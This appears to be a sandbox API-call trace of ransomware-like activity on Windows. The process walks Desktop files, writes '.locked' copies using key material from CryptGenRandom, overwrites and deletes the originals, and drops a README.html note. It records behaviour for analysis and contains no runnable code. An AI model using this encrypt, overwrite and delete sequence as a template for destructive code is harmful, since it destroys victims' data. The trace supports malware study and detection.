	[0069.892] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\iy4Mpm NDehEf5b8o.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\iy4mpm ndehef5b8o.gif"), fInfoLevelId=0x0, lpFileInformation=0x123fc058 | out: lpFileInformation=0x123fc058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f2fb520, ftCreationTime.dwHighDateTime=0x1d4d1f6, ftLastAccessTime.dwLowDateTime=0xbb922bf0, ftLastAccessTime.dwHighDateTime=0x1d4d517, ftLastWriteTime.dwLowDateTime=0xbb922bf0, ftLastWriteTime.dwHighDateTime=0x1d4d517, nFileSizeHigh=0x0, nFileSizeLow=0x10fea)) returned 1
	[0069.892] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\iy4Mpm NDehEf5b8o.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\iy4mpm ndehef5b8o.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0069.892] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec10 | out: lpMode=0x127eec10) returned 0
	[0069.893] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\iy4Mpm NDehEf5b8o.gif.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\iy4mpm ndehef5b8o.gif.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0069.893] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eec10 | out: lpMode=0x127eec10) returned 0
	[0069.893] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c360 | out: pbBuffer=0x1238c360) returned 1
	[0069.893] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127a8120 | out: pbBuffer=0x127a8120) returned 1
	[0069.893] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123bc281 | out: pbBuffer=0x123bc281) returned 1
	[0069.894] WriteFile (in: hFile=0xc4, lpBuffer=0x123d1000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eebec, lpOverlapped=0x0 | out: lpBuffer=0x123d1000*, lpNumberOfBytesWritten=0x127eebec*=0x80, lpOverlapped=0x0) returned 1
	[0069.896] SetEvent (hEvent=0xb4) returned 1
	[0069.896] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eebdc, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eebdc*=0x10fea, lpOverlapped=0x0) returned 1
	[0069.897] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x10fea, lpNumberOfBytesWritten=0x127eebe8, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eebe8*=0x10fea, lpOverlapped=0x0) returned 1
	[0069.898] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eebdc, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eebdc*=0x0, lpOverlapped=0x0) returned 1
	[0069.898] CloseHandle (hObject=0xc4) returned 1
	[0069.899] CloseHandle (hObject=0xc0) returned 1
	[0069.900] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0069.900] SetEvent (hEvent=0xb4) returned 1
	[0069.900] SetEvent (hEvent=0x78) returned 1
	[0069.900] SetEvent (hEvent=0x80) returned 1
	[0069.900] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0069.900] SetEvent (hEvent=0x80) returned 1
	[0069.900] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x123bc080*, nNumberOfCharsToWrite=0x40, lpNumberOfCharsWritten=0x127ee8a0, lpReserved=0x0 | out: lpBuffer=0x123bc080*, lpNumberOfCharsWritten=0x127ee8a0*=0x40) returned 1
	[0069.902] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\iy4Mpm NDehEf5b8o.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\iy4mpm ndehef5b8o.gif")) returned 1
	[0069.920] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x102
	[0069.921] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0069.921] SetEvent (hEvent=0xa8) returned 1
	[0069.921] SetEvent (hEvent=0x78) returned 1
	[0069.925] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0069.926] SetEvent (hEvent=0x78) returned 1
	[0069.926] SetEvent (hEvent=0x80) returned 1
	[0069.926] SetEvent (hEvent=0xb4) returned 1
	[0069.926] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0069.926] SetEvent (hEvent=0xb4) returned 1
	[0069.928] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0069.928] SetEvent (hEvent=0xb4) returned 1
	[0069.928] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0069.928] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0069.928] SetEvent (hEvent=0xb4) returned 1
	[0069.928] SetEvent (hEvent=0x80) returned 1
	[0069.929] SetEvent (hEvent=0x78) returned 1
	[0069.929] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0069.929] SetEvent (hEvent=0x78) returned 1
	[0069.929] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\iy4Mpm NDehEf5b8o.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\iy4mpm ndehef5b8o.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0069.930] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eecfc | out: lpMode=0x127eecfc) returned 0
	[0069.930] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eecec, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eecec*=0xfa000, lpOverlapped=0x0) returned 1
	[0069.947] CloseHandle (hObject=0xc0) returned 1
	[0069.956] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\iy4Mpm NDehEf5b8o.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\iy4mpm ndehef5b8o.gif")) returned 1
	[0069.965] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\j498aiGAVucSDl0V.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\j498aigavucsdl0v.xls"), fInfoLevelId=0x0, lpFileInformation=0x123fc0a8 | out: lpFileInformation=0x123fc0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eecd280, ftCreationTime.dwHighDateTime=0x1d4d2fd, ftLastAccessTime.dwLowDateTime=0xba0b9880, ftLastAccessTime.dwHighDateTime=0x1d4cdaf, ftLastWriteTime.dwLowDateTime=0xba0b9880, ftLastWriteTime.dwHighDateTime=0x1d4cdaf, nFileSizeHigh=0x0, nFileSizeLow=0x6197)) returned 1
	[0069.965] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\j498aiGAVucSDl0V.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\j498aigavucsdl0v.xls"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0069.965] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec10 | out: lpMode=0x127eec10) returned 0
	[0069.966] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\j498aiGAVucSDl0V.xls.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\j498aigavucsdl0v.xls.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0069.966] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eec10 | out: lpMode=0x127eec10) returned 0
	[0069.966] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c360 | out: pbBuffer=0x1238c360) returned 1
	[0069.966] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127a8120 | out: pbBuffer=0x127a8120) returned 1
	[0069.966] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123bc281 | out: pbBuffer=0x123bc281) returned 1
	[0069.967] WriteFile (in: hFile=0xc4, lpBuffer=0x123d1000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eebec, lpOverlapped=0x0 | out: lpBuffer=0x123d1000*, lpNumberOfBytesWritten=0x127eebec*=0x80, lpOverlapped=0x0) returned 1
	[0069.969] SetEvent (hEvent=0x80) returned 1
	[0069.969] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eebdc, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eebdc*=0x6197, lpOverlapped=0x0) returned 1
	[0069.970] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x6197, lpNumberOfBytesWritten=0x127eebe8, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eebe8*=0x6197, lpOverlapped=0x0) returned 1
	[0069.971] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eebdc, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eebdc*=0x0, lpOverlapped=0x0) returned 1
	[0069.971] CloseHandle (hObject=0xc4) returned 1
	[0069.972] CloseHandle (hObject=0xc0) returned 1
	[0069.972] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0069.972] SetEvent (hEvent=0x80) returned 1
	[0069.972] SetEvent (hEvent=0x78) returned 1
	[0069.972] SetEvent (hEvent=0xb4) returned 1
	[0069.972] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0069.973] SetEvent (hEvent=0xa8) returned 1
	[0069.973] SetEvent (hEvent=0xb4) returned 1
	[0069.973] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x123bc080*, nNumberOfCharsToWrite=0x3f, lpNumberOfCharsWritten=0x127ee8a0, lpReserved=0x0 | out: lpBuffer=0x123bc080*, lpNumberOfCharsWritten=0x127ee8a0*=0x3f) returned 1
	[0069.974] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\j498aiGAVucSDl0V.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\j498aigavucsdl0v.xls")) returned 1
	[0069.992] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x102
	[0069.993] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0069.993] SetEvent (hEvent=0xa8) returned 1
	[0069.993] SetEvent (hEvent=0x78) returned 1
	[0069.997] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0069.997] SetEvent (hEvent=0x78) returned 1
	[0069.998] SetEvent (hEvent=0xb4) returned 1
	[0069.998] SetEvent (hEvent=0x80) returned 1
	[0069.998] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0069.998] SetEvent (hEvent=0x80) returned 1
	[0070.000] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0070.000] SetEvent (hEvent=0x80) returned 1
	[0070.000] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0070.000] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0070.000] SetEvent (hEvent=0x80) returned 1
	[0070.000] SetEvent (hEvent=0xb4) returned 1
	[0070.000] SetEvent (hEvent=0x78) returned 1
	[0070.001] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0070.001] SetEvent (hEvent=0x78) returned 1
	[0070.001] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\j498aiGAVucSDl0V.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\j498aigavucsdl0v.xls"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0070.002] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eecfc | out: lpMode=0x127eecfc) returned 0
	[0070.002] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eecec, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eecec*=0xfa000, lpOverlapped=0x0) returned 1
	[0070.018] CloseHandle (hObject=0xc0) returned 1
	[0070.026] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\j498aiGAVucSDl0V.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\j498aigavucsdl0v.xls")) returned 1
	[0070.035] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jOgQ2vmu" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jogq2vmu"), fInfoLevelId=0x0, lpFileInformation=0x123fc058 | out: lpFileInformation=0x123fc058*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd1c6f220, ftCreationTime.dwHighDateTime=0x1d4cf95, ftLastAccessTime.dwLowDateTime=0x95467080, ftLastAccessTime.dwHighDateTime=0x1d4cfec, ftLastWriteTime.dwLowDateTime=0x95467080, ftLastWriteTime.dwHighDateTime=0x1d4cfec, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1
	[0070.035] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jOgQ2vmu" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jogq2vmu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0070.035] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jOgQ2vmu\\*", lpFindFileData=0x127ef918 | out: lpFindFileData=0x127ef918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd1c6f220, ftCreationTime.dwHighDateTime=0x1d4cf95, ftLastAccessTime.dwLowDateTime=0x95467080, ftLastAccessTime.dwHighDateTime=0x1d4cfec, ftLastWriteTime.dwLowDateTime=0x95467080, ftLastWriteTime.dwHighDateTime=0x1d4cfec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0070.035] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd1c6f220, ftCreationTime.dwHighDateTime=0x1d4cf95, ftLastAccessTime.dwLowDateTime=0x95467080, ftLastAccessTime.dwHighDateTime=0x1d4cfec, ftLastWriteTime.dwLowDateTime=0x95467080, ftLastWriteTime.dwHighDateTime=0x1d4cfec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0070.035] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fea2990, ftCreationTime.dwHighDateTime=0x1d4d16f, ftLastAccessTime.dwLowDateTime=0x55f39a00, ftLastAccessTime.dwHighDateTime=0x1d4d4ee, ftLastWriteTime.dwLowDateTime=0x55f39a00, ftLastWriteTime.dwHighDateTime=0x1d4d4ee, nFileSizeHigh=0x0, nFileSizeLow=0x24b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="6UB4wAdI8gi.png", cAlternateFileName="6UB4WA~1.PNG")) returned 1
	[0070.035] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa10b280, ftCreationTime.dwHighDateTime=0x1d4cbe3, ftLastAccessTime.dwLowDateTime=0x7d42fe30, ftLastAccessTime.dwHighDateTime=0x1d4d394, ftLastWriteTime.dwLowDateTime=0x7d42fe30, ftLastWriteTime.dwHighDateTime=0x1d4d394, nFileSizeHigh=0x0, nFileSizeLow=0xdd6b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GuwyiBN4YBoT6oCbSzO.mp3", cAlternateFileName="GUWYIB~1.MP3")) returned 1
	[0070.035] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9963de90, ftCreationTime.dwHighDateTime=0x1d4cbe7, ftLastAccessTime.dwLowDateTime=0x23318340, ftLastAccessTime.dwHighDateTime=0x1d4c614, ftLastWriteTime.dwLowDateTime=0x23318340, ftLastWriteTime.dwHighDateTime=0x1d4c614, nFileSizeHigh=0x0, nFileSizeLow=0x388d, dwReserved0=0x0, dwReserved1=0x0, cFileName="m26Dpmh_oT.bmp", cAlternateFileName="M26DPM~1.BMP")) returned 1
	[0070.035] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1ead3e0, ftCreationTime.dwHighDateTime=0x1d4cbf7, ftLastAccessTime.dwLowDateTime=0x1583cb40, ftLastAccessTime.dwHighDateTime=0x1d4c6eb, ftLastWriteTime.dwLowDateTime=0x1583cb40, ftLastWriteTime.dwHighDateTime=0x1d4c6eb, nFileSizeHigh=0x0, nFileSizeLow=0xae04, dwReserved0=0x0, dwReserved1=0x0, cFileName="pNpGn.bmp", cAlternateFileName="")) returned 1
	[0070.035] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75bc0e40, ftCreationTime.dwHighDateTime=0x1d4c912, ftLastAccessTime.dwLowDateTime=0x4cfe8620, ftLastAccessTime.dwHighDateTime=0x1d4c8e2, ftLastWriteTime.dwLowDateTime=0x4cfe8620, ftLastWriteTime.dwHighDateTime=0x1d4c8e2, nFileSizeHigh=0x0, nFileSizeLow=0x3256, dwReserved0=0x0, dwReserved1=0x0, cFileName="px23TfmpUYS.mkv", cAlternateFileName="PX23TF~1.MKV")) returned 1
	[0070.035] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3579ea0, ftCreationTime.dwHighDateTime=0x1d4c636, ftLastAccessTime.dwLowDateTime=0xb8f8be50, ftLastAccessTime.dwHighDateTime=0x1d4d0e3, ftLastWriteTime.dwLowDateTime=0xb8f8be50, ftLastWriteTime.dwHighDateTime=0x1d4d0e3, nFileSizeHigh=0x0, nFileSizeLow=0x91d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="qrtc3nFE.avi", cAlternateFileName="")) returned 1
	[0070.035] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2c48f70, ftCreationTime.dwHighDateTime=0x1d4c780, ftLastAccessTime.dwLowDateTime=0x118863d0, ftLastAccessTime.dwHighDateTime=0x1d4cec4, ftLastWriteTime.dwLowDateTime=0x118863d0, ftLastWriteTime.dwHighDateTime=0x1d4cec4, nFileSizeHigh=0x0, nFileSizeLow=0x110cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="RYzmia1V.mp3", cAlternateFileName="")) returned 1
	[0070.035] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94b596c0, ftCreationTime.dwHighDateTime=0x1d4cbfd, ftLastAccessTime.dwLowDateTime=0x97c968a0, ftLastAccessTime.dwHighDateTime=0x1d4cc0c, ftLastWriteTime.dwLowDateTime=0x97c968a0, ftLastWriteTime.dwHighDateTime=0x1d4cc0c, nFileSizeHigh=0x0, nFileSizeLow=0x1191b, dwReserved0=0x0, dwReserved1=0x0, cFileName="x5z-b33wQMuCpUod67F.bmp", cAlternateFileName="X5Z-B3~1.BMP")) returned 1
	[0070.036] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x431cbc40, ftCreationTime.dwHighDateTime=0x1d4d1a6, ftLastAccessTime.dwLowDateTime=0x8fe23ea0, ftLastAccessTime.dwHighDateTime=0x1d4c61c, ftLastWriteTime.dwLowDateTime=0x8fe23ea0, ftLastWriteTime.dwHighDateTime=0x1d4c61c, nFileSizeHigh=0x0, nFileSizeLow=0xaa4b, dwReserved0=0x0, dwReserved1=0x0, cFileName="_cxpP.mkv", cAlternateFileName="")) returned 1
	[0070.036] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0070.036] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0070.036] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jOgQ2vmu\\README.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jogq2vmu\\readme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0070.036] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eed30 | out: lpMode=0x127eed30) returned 0
	[0070.036] WriteFile (in: hFile=0xc0, lpBuffer=0x126f0000*, nNumberOfBytesToWrite=0xc5a, lpNumberOfBytesWritten=0x127eed20, lpOverlapped=0x0 | out: lpBuffer=0x126f0000*, lpNumberOfBytesWritten=0x127eed20*=0xc5a, lpOverlapped=0x0) returned 1
	[0070.037] CloseHandle (hObject=0xc0) returned 1
	[0070.038] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x1268a000*, nNumberOfCharsToWrite=0x49, lpNumberOfCharsWritten=0x127ee8b0, lpReserved=0x0 | out: lpBuffer=0x1268a000*, lpNumberOfCharsWritten=0x127ee8b0*=0x49) returned 1
	[0070.039] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jOgQ2vmu\\6UB4wAdI8gi.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jogq2vmu\\6ub4wadi8gi.png"), fInfoLevelId=0x0, lpFileInformation=0x123fc508 | out: lpFileInformation=0x123fc508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fea2990, ftCreationTime.dwHighDateTime=0x1d4d16f, ftLastAccessTime.dwLowDateTime=0x55f39a00, ftLastAccessTime.dwHighDateTime=0x1d4d4ee, ftLastWriteTime.dwLowDateTime=0x55f39a00, ftLastWriteTime.dwHighDateTime=0x1d4d4ee, nFileSizeHigh=0x0, nFileSizeLow=0x24b2)) returned 1
	[0070.039] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jOgQ2vmu\\6UB4wAdI8gi.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jogq2vmu\\6ub4wadi8gi.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0070.039] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0070.039] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jOgQ2vmu\\6UB4wAdI8gi.png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jogq2vmu\\6ub4wadi8gi.png.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0070.040] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0070.040] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c580 | out: pbBuffer=0x1238c580) returned 1
	[0070.040] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127a8290 | out: pbBuffer=0x127a8290) returned 1
	[0070.040] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123bc381 | out: pbBuffer=0x123bc381) returned 1
	[0070.040] WriteFile (in: hFile=0xc4, lpBuffer=0x1268d000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeb88, lpOverlapped=0x0 | out: lpBuffer=0x1268d000*, lpNumberOfBytesWritten=0x127eeb88*=0x80, lpOverlapped=0x0) returned 1
	[0070.042] SetEvent (hEvent=0xb4) returned 1
	[0070.042] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb78*=0x24b2, lpOverlapped=0x0) returned 1
	[0070.043] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x24b2, lpNumberOfBytesWritten=0x127eeb84, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eeb84*=0x24b2, lpOverlapped=0x0) returned 1
	[0070.044] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb78*=0x0, lpOverlapped=0x0) returned 1
	[0070.044] CloseHandle (hObject=0xc4) returned 1
	[0070.045] CloseHandle (hObject=0xc0) returned 1
	[0070.045] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0070.045] SetEvent (hEvent=0xb4) returned 1
	[0070.045] SetEvent (hEvent=0x78) returned 1
	[0070.045] SetEvent (hEvent=0x80) returned 1
	[0070.045] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0070.046] SetEvent (hEvent=0xa8) returned 1
	[0070.046] SetEvent (hEvent=0x80) returned 1
	[0070.046] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x1263e000*, nNumberOfCharsToWrite=0x43, lpNumberOfCharsWritten=0x127ee83c, lpReserved=0x0 | out: lpBuffer=0x1263e000*, lpNumberOfCharsWritten=0x127ee83c*=0x43) returned 1
	[0070.048] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jOgQ2vmu\\6UB4wAdI8gi.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jogq2vmu\\6ub4wadi8gi.png")) returned 1
	[0070.066] SetEvent (hEvent=0x78) returned 1
